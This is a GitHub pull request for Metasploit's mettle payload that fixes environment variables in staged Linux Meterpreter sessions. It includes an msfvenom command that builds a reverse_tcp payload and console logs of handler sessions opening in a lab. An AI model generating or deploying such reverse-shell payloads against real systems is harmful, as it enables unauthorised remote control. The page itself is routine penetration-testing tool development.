Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

startup mettle with a sane environment on start #185

Merged
merged 1 commit into from
May 21, 2019

Conversation

busterb
Copy link
Member

@busterb busterb commented May 21, 2019

In staged payloads, mettle on Linux get passed a fake argc/argv/envp. This means that all staged payloads do not have any environment variables out of the box. This inconsistency can lead to post modules working incorrectly. This commit moves the environment fixup code that was already present when spawning child processes into the parent process. That way, the child processes simply inherit, and it's possible to inspect what the environment will be earlier in the boot process.

Verification Steps

  • From this directory, assuming you know how to build mettle and test it make x86_64-linux-musl.install
  • Generate a staged payload ./msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o test.elf lhost=127.0.0.1
  • Then from metasploit, stage the payload and run the get_env test from the session:
payload => linux/x64/meterpreter/reverse_tcp
lhost => 127.0.0.1
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444 
WARNING: Local file /home/bcook/projects/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle.bin is being used
WARNING: Local files may be incompatible Metasploit framework
[*] Sending stage (3021284 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:51872) at 2019-05-21 03:29:01 -0500

meterpreter > background 
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > loadpath test/modules
Loaded 35 modules:
    10 post modules
    13 exploit modules
    12 auxiliary modules
msf5 exploit(multi/handler) > use post/test/get_env 
msf5 post(test/get_env) > set session 1
session => 1
msf5 post(test/get_env) > run

[*] Running against session 1
[*] Session type is meterpreter and platform is linux
[+] should return user
[+] should handle $ sign
[+] should return multiple envs
[*] Passed: 3; Failed: 0
[*] Post module execution completed

In staged payloads, mettle on Linux get passed a fake argc/argv/envp.  This means that all staged payloads do not have any environment variables out of the box. This inconsistency can lead to post modules working incorrectly. This commit moves the environment fixup code that was already present when spawning child processes into the parent process. That way, the child processes simply inherit, and it's possible to inspect what the environment will be earlier in the boot process.
@bwatters-r7 bwatters-r7 self-assigned this May 21, 2019
@bwatters-r7
Copy link
Contributor

What OS are you using for testing? It does not appear to work for me on my test VM. I built the mettle binaries and installed the gems, then built the payload in both venom and framework, with the same result for both on a CentOS 7 x64 VM.

[ruby-2.6.2@metasploit-framework](upstream-master) tmoose@ubuntu:~/rapid7/metasploit-framework$ bundle info metasploit_payloads-mettle
Warning: the running version of Bundler (1.17.2) is older than the version that created the lockfile (1.17.3). We suggest you upgrade to the latest version of Bundler by running `gem install bundler`.
  * metasploit_payloads-mettle (0.5.13.pre.dev)
	Summary: This gem contains the compiled binaries required to make Mettle function, and eventually their stages and stagers
	Homepage: http://www.metasploit.com
	Path: /home/tmoose/.rvm/gems/ruby-2.6.2@metasploit-framework/gems/metasploit_payloads-mettle-0.5.13.pre.dev
[ruby-2.6.2@metasploit-framework](upstream-master) tmoose@ubuntu:~/rapid7/metasploit-framework$ ./msfconsole
...
msf5 exploit(windows/smb/psexec) > use payload/linux/x64/meterpreter/reverse_tcp 
msf5 payload(linux/x64/meterpreter/reverse_tcp) > set lhost 192.168.135.168
lhost => 192.168.135.168
msf5 payload(linux/x64/meterpreter/reverse_tcp) > set lport 4567
lport => 4567
msf5 payload(linux/x64/meterpreter/reverse_tcp) > generate -f elf -o new.elf
[*] Writing 249 bytes to new.elf...
msf5 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp 
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.135.111  yes       The listen address (an interface may be specified)
   LPORT  4567             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > run

[-] Handler failed to bind to 192.168.135.111:4567:-  -
[*] Started reverse TCP handler on 0.0.0.0:4567 
[*] Sending stage (816260 bytes) to 192.168.134.103
[*] Meterpreter session 1 opened (192.168.135.168:4567 -> 192.168.134.103:45264) at 2019-05-21 08:43:34 -0500

meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : CentOS 7.6.1810 (Linux 3.10.0-957.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > loadpath test/modules
Loaded 35 modules:
    12 auxiliary modules
    13 exploit modules
    10 post modules
msf5 exploit(multi/handler) > use post/test/get_env 
msf5 post(test/get_env) > set session 1
session => 1
msf5 post(test/get_env) > run

[*] Running against session 1
[*] Session type is meterpreter and platform is linux
[-] FAILED: should return user
[-] FAILED: should handle $ sign
[-] FAILED: should return multiple envs
[-] Passed: 0; Failed: 3
[*] Post module execution completed
msf5 post(test/get_env) > 

@busterb
Copy link
Member Author

busterb commented May 21, 2019

I'm not sure what procedure you used for installing gems, let's chat about it outside of this ticket.

@bwatters-r7
Copy link
Contributor

Hrm........ you appear to be right about my build ignorance. I rebuilt for all rather than native, and voila:

meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : CentOS 7.6.1810 (Linux 3.10.0-957.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > loadpath test/modules
Loaded 35 modules:
    12 auxiliary modules
    13 exploit modules
    10 post modules
msf5 exploit(multi/handler) > use post/test/get_env 
msf5 post(test/get_env) > set session 1
session => 1
msf5 post(test/get_env) > run

[*] Running against session 1
[*] Session type is meterpreter and platform is linux
[+] should return user
[+] should handle $ sign
[+] should return multiple envs
[*] Passed: 3; Failed: 0
[*] Post module execution completed
msf5 post(test/get_env) > 

I'll ping you on the assumptions I had on building mettle and we can see where I erred later. For now, I'm going to land this so we can start automated testing on the framework side.

@busterb
Copy link
Member Author

busterb commented May 21, 2019

\o/

@bwatters-r7 bwatters-r7 merged commit 19ed998 into rapid7:master May 21, 2019
@bwatters-r7
Copy link
Contributor

Release Notes

This updates the meterpreter session process environment variables to be something normal, preventing some odd errors from post modules.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants